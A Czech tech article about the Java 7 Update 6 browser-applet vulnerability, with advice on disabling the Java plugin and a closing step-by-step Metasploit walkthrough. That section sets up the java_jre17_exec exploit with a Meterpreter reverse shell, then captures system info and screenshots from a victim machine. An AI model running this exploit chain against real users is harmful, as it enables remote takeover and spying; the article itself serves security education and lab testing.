Java je docela zajímavá věc. Vůbec celá myšlenka toho, že existují snadno ovladatelné vyšší programovací jazyky, které se kompilují do univerzálního bajtkódu, a až ten je následně spouštěn na aplikačních virtuálních strojích lhostejno na jaké architektuře, je z pohledu generací odkojených na Z80 assembleru poněkud obtížně uchopitelná. Na jednu stranu je fajn, že se code monkey nemusí vůbec starat o to, jak počítače vlastně fungují a může si lepit svůj kód, ale na druhou stranu je celá tahle paráda neskutečně komplexní a čas od času se podaří nechat někde nějakou bezpečnostní skulinku. Nebo, jako v případě Javy 7 Update 6, díru jako kráva, kterou bez problému projede i bitevní tank.
Pískoviště
Nejprve bych na obhajobu Javy rád podotknul, že navzdory všeobecnému mínění není obvykle zdaleka tak jednoduché zranitelností Javy využít. Javovská aplikace samotná běží uvnitř JVM v jakémsi chráněném prostředí - sandboxu, takže nemůže přímo zasahovat do systému a okolního prostředí, pokud jí to sandbox manager nedovolí. Jelikož je Java nejpoužívanější programovací jazyk v bankovnictví a vůbec v celé enterprise sféře, kde ještě navíc vstupují do hry hromady dalších zabezpečení na úrovni aplikačních serverů a infrastruktury jako celku, dávají si tvůrci na bezpečnosti zatraceně záležet. Ovšem enterprise zabezpečení se nedá srovnávat s runtime prostředím běžného Franty uživatele, který podá své vrcholné znalosti v oblasti informačních technologií instalací typu Next -> Next -> Finish a očekává, že to bude nějak fungovat. A ono to nějak fungovat skutečně bude, protože výchozí nastavení bezpečnosti tak trochu naivně počítá s tím, že v případě skutečného ohrožení zasáhne vyšší moc v podobě antiviru a nežádoucí applet zablokuje dřív, než stihne napáchat škody. Celá Java SE je vyloženě natěšená na to, najít nějaký kus kódu a spustit jej, čemuž by se samozřejmě dalo zabránit, kdyby uživatelé nebyli příliš sexy na to, rozumět nástrojům svých každodenních potřeb.
Prostředí Javy v libovolné podobě je nainstalováno údajně na více než třech miliardách zařízení po celém světě. Ovšem napadení cílového stroje neproběhne jen tak samo od sebe prostě jen proto, že na něm běží Java. Je k tomu potřeba škodlivý kód stáhnout a spustit, což je operace, kterou nemůže provést nikdo jiný, než náš milý user vulgaris. Bezpečnostní riziko samotné není tedy o nic větší, než když uživatel vesele spouští „obrázky“ s příponou *.exe, pouze je v tomto případě spuštění mnohdy zjednodušeno prostým předhozením škodlivého URL prohlížeči. A protože z těch tří miliard zařízení s Javou je jich takovými sladce nevědomými ovládána alespoň desetina, je jasné, že problém velice rychle vyplave na povrch.
Jak se bránit
Pokud si chcete být opravdu jistí, vůbec Javu, stejně jako Adobe Flash nepoužívejte. Tyhle dva produkty jsou právě kvůli své rozšířenosti nejčastějšími cíli různých útoků a zero-day vulnerabilit a to prostě proto, že ani jejich tvůrci, ani třetí strany jako třeba antivirové společnosti, nejsou schopny dostatečně rychle reagovat na nově objevené bezpečnostní hrozby. A při takto vysokém počtu instalací, je útočník schopen zkompromitovat tisíce počítačů během několika málo minut.
Pokud Javu potřebujete pro spouštění konkrétních aplikací, ale už ne k prohlížení webu, pak můžete jednoduše používání na applety natěšeného Javového doplňku zakázat přímo v prohlížeči.
Mozilla Firefox
Hlavní menu -> Správce doplňků -> záložka Zásuvné moduly a u všeho, co jen vzdáleně připomíná Javu, vpravo kliknout na tlačítko Zakázat
Internet Explorer
Nástroje (ikona ozubeného kola) -> Spravovat doplňky -> v roletkovém menu Zobrazit vybrat Všechny doplňky a všechny Javy opět zakázat.
Google Chrome
Do adresního řádku zadejte chrome://plugins a zakažte co je libo.
Potřebujete-li mít ve svém prohlížeči Java plugin bezpodmínečně zapnutý, pak si na stránce http://www.isjavaexploitable.com zkontrolujte, zda vaše verze není zranitelná a pokud ano, utíkejte updatovat.
Na zteč
Kdyby vás náhodou napadlo si takový exploit vyzkoušet na vlastní kůži, snadný proof-of-concept je k mání v databázi Metasploitu, vynikajícího frameworku pro penetrační testování. A je-li řeč o penetračních testech a bezpečnosti vůbec, pak tou správnou hračkou nemůže být nic jiného, než linuxová distribuce BackTrack. Nastartuje si konzoli a pište
root@bt:~# msfupdate
root@bt:~# msfconsole
msf > use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec) > set TARGET 1
TARGET => 1
msf exploit(java_jre17_exec) > set SRVHOST 192.168.12.34
SRVHOST => 192.168.12.34
msf exploit(java_jre17_exec) > set URIPATH java
URIPATH => java
msf exploit(java_jre17_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(java_jre17_exec) > set LHOST 192.168.12.34
LHOST => 192.168.12.34
msf exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.12.34:4444
[*] Using URL: http://192.168.12.34:8080/java
[*] Server started.
Kde 192.168.12.34 je IP adresa útočníka, tedy stroje s BackTrackem. Tahle série příkazů updatuje Metasploit Security Framework, spustí jeho konzolu, ve které si vyberete, jaké špatnosti chcete páchat a nastavíte jim potřebné proměnné. Na závěr exploit spustíte.
Na počítači oběti s děravou Javou pak navštivte URL http://192.168.12.34:8080/java. V konzoli metasploitu se vám objeví informace o úspěšném přenosu appletu.
[*] 192.168.56.78 java_jre17_exec - Java 7 Applet Remote Code Execution handling requesty
[*] 192.168.56.78 java_jre17_exec - Sending Applet.jar
[*] 192.168.56.78 java_jre17_exec - Sending Applet.jar
[*] Sending stage (752128 bytes) to 192.168.56.78
[*] Meterpreter session 1 opened (192.168.12.34:4444 -> 192.168.56.78:49412) at 2012-11-09 11:49:02 +0100
Pak pomocí
msf exploit(java_jre17_exec) > sessions -i 1
přepnete konzoli do Meterpreteru. Meterpreter je jeden z nejfajnovějších payloadů Metasploitu. Jedná se vlastně o VNC server, skrze který můžete napadený počítač vzdáleně ovládat, přenášet soubory a krást z něj snímky obrazovky. Tedy něco, čím byste obvykle rozhodně být napadeni nechtěli. V konzoli meterpreteru už tedy můžete vesele psát
meterpreter> sysinfo
Computer : VM7
OS : Windows 7 (Build 7601, Service Pack 1)
Architecture : x64 (Current Process is WOW64)
System Language : cs_CZ
Meterpreter : x86/win32
meterpreter> execute -f calc
Process 3812 created.
meterpreter> screenshot
a tak dále. Video ilustrující tento postup najdete na youtube.